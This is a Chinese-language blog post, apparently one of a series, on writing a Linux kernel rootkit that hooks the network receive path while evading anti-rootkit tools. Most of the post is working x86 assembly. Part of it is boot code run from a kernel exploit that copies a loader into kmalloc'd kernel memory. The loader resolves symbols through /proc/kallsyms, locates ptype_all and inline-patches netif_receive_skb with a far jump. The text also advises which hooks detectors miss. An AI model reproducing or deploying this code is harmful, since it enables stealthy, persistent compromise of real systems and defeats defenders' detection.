上一篇文章讲了在哪里hook比较合适。
有的人说“linux的网络栈是如此的大啊,我怎么可能了解到全部?还是弄点简单的来做吧”
有的人现在心情澎湃,想着吗的老子要马上hook爆你丫的。
如果你是前者,那就别看这篇文章了,这篇文章里没有你想要的,你还是回去背你的操作系统课本和汇编课本吧。
如果你是后者,那请继续。
有些事情就是要迎难而上。你拼了老命,连啃三天泡面饼干,把代码好好地看一下。你看它还难不难。
windows内核里的hook分为很多种。object hook,idt hook。。有一些hook是和linux类似的。
在linux里,首先idt hook是绝对不能用的。sys_call_table,ex_table你也别想着去搞它。因为“ring3下很蹩脚的rootkit检测程序”都能检测到这几种hook。这几种hook是很没意思的,所以就不介绍他们了。
至于inline hook。这是一种很黄很暴力的hook。在网上也有不少教程。它的原理就是在插入ljmp,jmp,call指令。前两种用得比较多。计算机组成原理的老师会告诉你什么是三地址码,什么是二地址码。但不会告诉你什么是inline hook。因为这些东西都是坏学生学的。好学生是万万不能学的。
inline hook的优点巨大,想hook哪就hook哪。由于使用jmp,环境不会改变(千万别用kprobes)。但是缺点也很巨大,容易被侦测。因为linux的特殊性,有了个proc文件系统,跟内核沟通方便了,领导居然都能深入基层了,通过/proc/kcore都可以直接访问内核在内存中的镜像。所以ring3下就能对比内核在文件中的镜像和内存中的镜像,检测到inline hook,网上就有此类anti-rootkit软件。
所以inline hook要限制使用。最好的方法是暂时性的inline hook。就hook一下下,达到功能了马上恢复。这样就不怕别人侦测到了。但不是什么环境下都能这样用的。
看了netif_receive_skb代码后。我觉得有三个方案。
1.在ptypes_all的第一个元素的func函数上hook
2.inline hook netif_receive_skb
3.注册到ptype_base
方案1比较难被发现。目前的检测hook的软件还没有检查到那里。
方案2比较暴力。达到跟方案1一样的效果。
方案3已经经过嗅探器的hook了。你只能祈祷嗅探器没有看到你的包。
其实三个方案都不完美,我也想不出完美的方案,如果您有什么好的idea,希望您告诉我,谢谢!
ptypes_all没有出现在kallsyms里。我们要自己找。我们首先找到dev_add_pack函数,这厮是负责把packet_type挂到types_all里的。
- 0: push %esi
- 1: push %ebx
- 2: mov %eax,%esi
- 4: call 0xffef3b38
- 9: mov (%esi),%eax
- b: cmp $0x300,%ax
- f: lea 0x18(%esi),%ebx
- 12: jne 0x34
- 14: incl 0xc037dbe0
- 1a: mov 0xc037d3c0,%eax
- 1f: mov %eax,0x18(%esi)
- 22: movl $0xc037d3c0,0x4(%ebx)
- 29: mov %ebx,0x4(%eax)
- 2c: mov %ebx,0xc037d3c0
- 32: jmp 0x55
- 34: shr $0x5,%eax
- 37: and $0x78,%eax
- 3a: lea -0x3fc82cc0(%eax),%ecx
- 40: mov -0x3fc82cc0(%eax),%edx
- 46: mov %edx,0x18(%esi)
- 49: mov %ecx,0x4(%ebx)
- 4c: mov %ebx,0x4(%edx)
- 4f: mov %ebx,-0x3fc82cc0(%eax)
- 55: pop %ebx
- 56: pop %esi
- 57: jmp 0xffef3daf
- void dev_add_pack(struct packet_type *pt)
- {
- int hash;
- spin_lock_bh(&ptype_lock);
- if (pt->type == htons(ETH_P_ALL)) {
- netdev_nit++;
- list_add_rcu(&pt->list, &ptype_all);
- } else {
- hash = ntohs(pt->type) & 15;
- list_add_rcu(&pt->list, &ptype_base[hash]);
- }
- spin_unlock_bh(&ptype_lock);
- }
就在incl的下面,就能看到ptypes_all的地址了。你要想办法动态获取。如果有反汇编引擎,那就好办了。直接搜incl,然后遇到的第一个直接寻址指令的地址就是了。但现在没有反汇编引擎,就只能用偏移来决定了。
获得了,ptypes_all以后,就能找到ptypes_all的第一个元素的func函数了,然后hook就是了(这部分目前还没有实现)。
如果很不好彩ptypes_all是空的。那就用inline hook。
代码如下。
- #define EXPORT_LABEL(label) /
- .globl label; label:
- #define GET_ADDR(label, reg) /
- call 9f; /
- 9: popl reg; /
- subl $(9b - label), reg
- #define GET_STR(str, reg) /
- call 11f; /
- .asciz str; /
- 11: popl reg
- # __DPRINT resvered %eax, %edx !!!!!!!!!
- #define __DPRINT(fmt) /
- GET_STR("printk", %eax); /
- movl $6, %edx; /
- call ksym_lookup; /
- testl %eax, %eax; /
- jz 111f; /
- GET_STR(fmt, %edx); /
- movl %edx, (%esp); /
- call *%eax; /
- 111:
- EXPORT_LABEL(loader_start)
- pushl %eax
- pushl %ebx
- pushl %ecx
- pushl %edx
- pushl %edi
- pushl %esi
- subl $10, %esp
- __DPRINT("<3>fuck, we are in kernel/n");
- GET_STR("dev_add_pack", %eax)
- movl $12, %edx
- call ksym_lookup
- jz loader_out
- movl 0x1b(%eax), %ebx
- movl %ebx, 4(%esp)
- __DPRINT("<3>ptype_all at %lx/n");
- # find the addr of ptype_all in dev_add_pack's code
- cmpl (%ebx), %ebx
- jz install_ih
- # _if ptype_all is empty, install inline hook at netif_receive_skb
- # _if ptype_all isn't empty, hook ptype_all->next->func
- install_ph:
- movl (%ebx), %ebx
- movl %ebx, 4(%esp)
- __DPRINT("<3>ptype_all's 1st element at %lx, ready to install ptype_all hook/n");
- jmp loader_out
- install_ih:
- __DPRINT("<3>ptype_all is empty, ready to install inline hook/n");
- GET_STR("netif_receive_skb", %eax)
- movl $17, %edx
- call ksym_lookup
- jz loader_out
- movl %eax, %edi
- movl %eax, 4(%esp)
- __DPRINT("<3>netif_receive_skb at %lx/n");
- movw $0x1d8b, 4(%esp)
- movl %ebx, 6(%esp)
- # esp[4 ~ 10] = asm ("movl %0xxxxx, %edx") ;
- movl %edi, %eax
- movl $0x200, %edx
- leal 4(%esp), %ecx
- movl $6, (%esp)
- call memmem
- testl %eax, %eax
- jz loader_out
- # ih_addr = memmem(netif_receive_skb, 200, asm ("movl %0xxxx, %edx"), 6);
- movl %eax, %ebx
- GET_ADDR(ih_nrs_retbuf, %eax)
- movl %eax, 8(%esp)
- movl %ebx, 4(%esp)
- __DPRINT("<3>inline hook addr found at %lx/n<3>the addr of ih_nrs_retbuf is %lx")
- # the byte of asm ("ljmp $0x60, $0x12345678") is
- # ea 78 56 34 12 60 00
- # now we will fill the ih_nrs_retbuf, and cover the code at ih_addr
- movl %ebx, %esi
- GET_ADDR(ih_nrs_retbuf, %edi)
- movl $9, %ecx
- cld; rep movsb
- movb $0xea, (%edi)
- leal 9(%ebx), %eax
- movl %eax, 1(%edi)
- movw $0x0060, 5(%edi)
- movl %ebx, %edi
- movb $0xea, (%edi)
- GET_ADDR(ih_netif_receive_skb, %eax)
- movl %eax, 1(%edi)
- movl $0x90900060, 5(%edi)
- loader_out:
- addl $10, %esp
- popl %esi
- popl %edi
- popl %edx
- popl %ecx
- popl %ebx
- popl %eax
- ret
- # inline hook of netif_receive_skb
- ih_netif_receive_skb:
- pushl %eax
- pushl %edx
- __DPRINT("<3>netif_receive_skb called/n")
- popl %edx
- popl %eax
- ih_nrs_retbuf:
- .fill 20
- # fastcall void *memmem(void *dst, int dstlen, void *src, int srclen)
- # find matched bytes
- # @dst: place to find
- # @dstlen: max bytes to find
- # @src: bytes to match
- # @srclen: length of the match bytes
- # return: if found, return the addr, else return 0
- EXPORT_LABEL(memmem)
- pushl %ebx
- pushl %esi
- pushl %edi
- movl 0x10(%esp), %edi
- movl %ecx, %esi
- 4: movb (%eax), %bl
- movb (%ecx), %bh
- cmpb %bl, %bh
- jnz 1f
- incl %ecx
- decl %edi
- jnz 2f
- subl 0x10(%esp), %eax
- incl %eax
- jmp 3f
- 1: movl 0x10(%esp), %edi
- movl %esi, %ecx
- 2: decl %edx
- jz 5f
- incl %eax
- jmp 4b
- 5: xorl %eax, %eax
- 3: popl %edi
- popl %esi
- popl %ebx
- ret
- # fastcall unsigned long ksym_lookup(char *name, int len)
- # @name: name of the function to find
- # @len: len of the name
- # return: addr of the function
- EXPORT_LABEL(ksym_lookup)
- #define FD 0
- #define BUF 4
- #define SAVEDS 1020
- #define FNLEN 1024
- #define FN 1028
- #define SSZ 1032
- pushl %ebp
- pushl %esi
- pushl %edi
- pushl %ecx
- pushl %ebx
- subl $SSZ, %esp
- movl %eax, FN(%esp)
- movl %edx, FNLEN(%esp)
- # set KERNEL_DS
- movl %esp, %eax
- andl $0xffffe000, %eax
- movl 0x18(%eax), %ebx
- movl %ebx, SAVEDS(%esp)
- movl $0xffffffff, 0x18(%eax)
- # open("/proc/kallsyms", O_RDONLY, 0);
- movl $5, %eax
- GET_STR("/proc/kallsyms", %ebx)
- xorl %ecx, %ecx
- xorl %edx, %edx
- int $0x80
- testl %eax, %eax
- js ksym_out
- movl %eax, FD(%esp)
- leal BUF(%esp), %ecx
- getch_repeat:
- # read(fd, ecx, 1);
- movl $3, %eax
- movl FD(%esp), %ebx
- movl $1, %edx
- int $0x80
- cmpl $1, %eax
- jnz ksym_out_close
- cmpb $'/n', (%ecx)
- jz newline
- incl %ecx
- jmp getch_repeat
- # when a '/n' is read, start parse a new line
- newline:
- # skip ' ' in output line 'c01xxxx T funcname'
- leal BUF(%esp), %esi
- movl $2, %ebp
- 1:
- cmpb $' ', (%esi)
- jnz 2f
- decl %ebp
- jz 3f
- 2:
- incl %esi
- cmpl %ecx, %esi
- jl 1b
- jmp newline_out
- 3:
- # cmp str between function name in output line and 'kallsyms_lookup_name'
- incl %esi
- movl FN(%esp), %edi
- movl %ecx, %eax
- subl %esi, %eax
- movl FNLEN(%esp), %ecx
- cmpl %eax, %ecx
- jae 1f
- movl %eax, %ecx
- 1:
- incl %ecx
- cld
- repz cmpsb
- testl %ecx, %ecx
- jnz newline_out
- # convert the address from str to ulong. saved in eax
- leal BUF(%esp), %esi
- xorl %eax, %eax
- 1:
- movb (%esi), %bl
- cmpb $' ', %bl
- jz 4f
- cmpb $'a', %bl
- jl 2f
- subb $('a' - 10), %bl
- jmp 3f
- 2:
- subb $'0', %bl
- 3:
- andb $0x0F, %bl
- shl $4, %eax
- movb %al, %cl
- andb $0xF0, %cl
- orb %bl, %cl
- movb %cl, %al
- incl %esi
- jmp 1b
- 4:
- # successfully convert address !!
- jmp ksym_out_close
- newline_out:
- leal BUF(%esp), %ecx
- jmp getch_repeat
- ksym_out_close:
- pushl %eax
- movl $6, %eax
- movl FD(%esp), %ebx
- int $0x80
- popl %eax
- ksym_out:
- movl %esp, %ebx
- andl $0xffffe000, %ebx
- movl SAVEDS(%esp), %ecx
- movl %ecx, 0x18(%ebx)
- addl $SSZ, %esp
- popl %ebx
- popl %ecx
- popl %edi
- popl %esi
- popl %ebp
- ret
- #undef FD
- #undef BUF
- #undef SAVEDS
- #undef FNLEN
- #undef FN
- #undef SSZ
- EXPORT_LABEL(loader_end)
- EXPORT_LABEL(boot_start)
- subl $10, %esp
- GET_STR("__kmalloc", %eax)
- movl $9, %edx
- call ksym_lookup
- testl %eax, %eax
- jz boot_out
- # ksym_lookup("__kmalloc", 9);
- movl %eax, %ecx
- movl $(loader_end - loader_start), %eax
- movl $(0x10 | 0x40 | 0x80), %edx
- call *%ecx
- testl %eax, %eax
- jz boot_out
- # kmalloc(loader_size, GFP_KENREL);
- movl %eax, %edi
- GET_STR("printk", %eax)
- movl $6, %edx
- call ksym_lookup
- testl %eax, %eax
- jz boot_out
- GET_STR("<3>loader at %lx/n", %ebx)
- movl %ebx, (%esp)
- movl %edi, 4(%esp)
- call *%eax
- movl %edi, %ebp
- GET_ADDR(loader_start, %esi)
- movl $(loader_end - loader_start), %ecx
- cld; rep movsb
- call *%ebp
- boot_out:
- addl $10, %esp
- ret
- EXPORT_LABEL(boot_end)
定义了几个宏。是经常用到的。
GET_ADDR用于获取一个label的绝对地址,GET_STR用于把给定字符串的首地址赋值给指定的寄存器。
fastcall就是分别用eax, edx, ecx传第1,2,3个参数,后续的用栈。
现在我们的漏洞利用程序里,kernel_code直接跳转到boot_start。
boot目前的作用是把loader部分放在新申请的内核的内存空间里,然后运行。
loader目前的作用就是hook ptypes_all。
以后就按这个框架来写了,这种代码用的是最低级的bin格式。但这种格式很好啊,易于控制。以后可能会用c。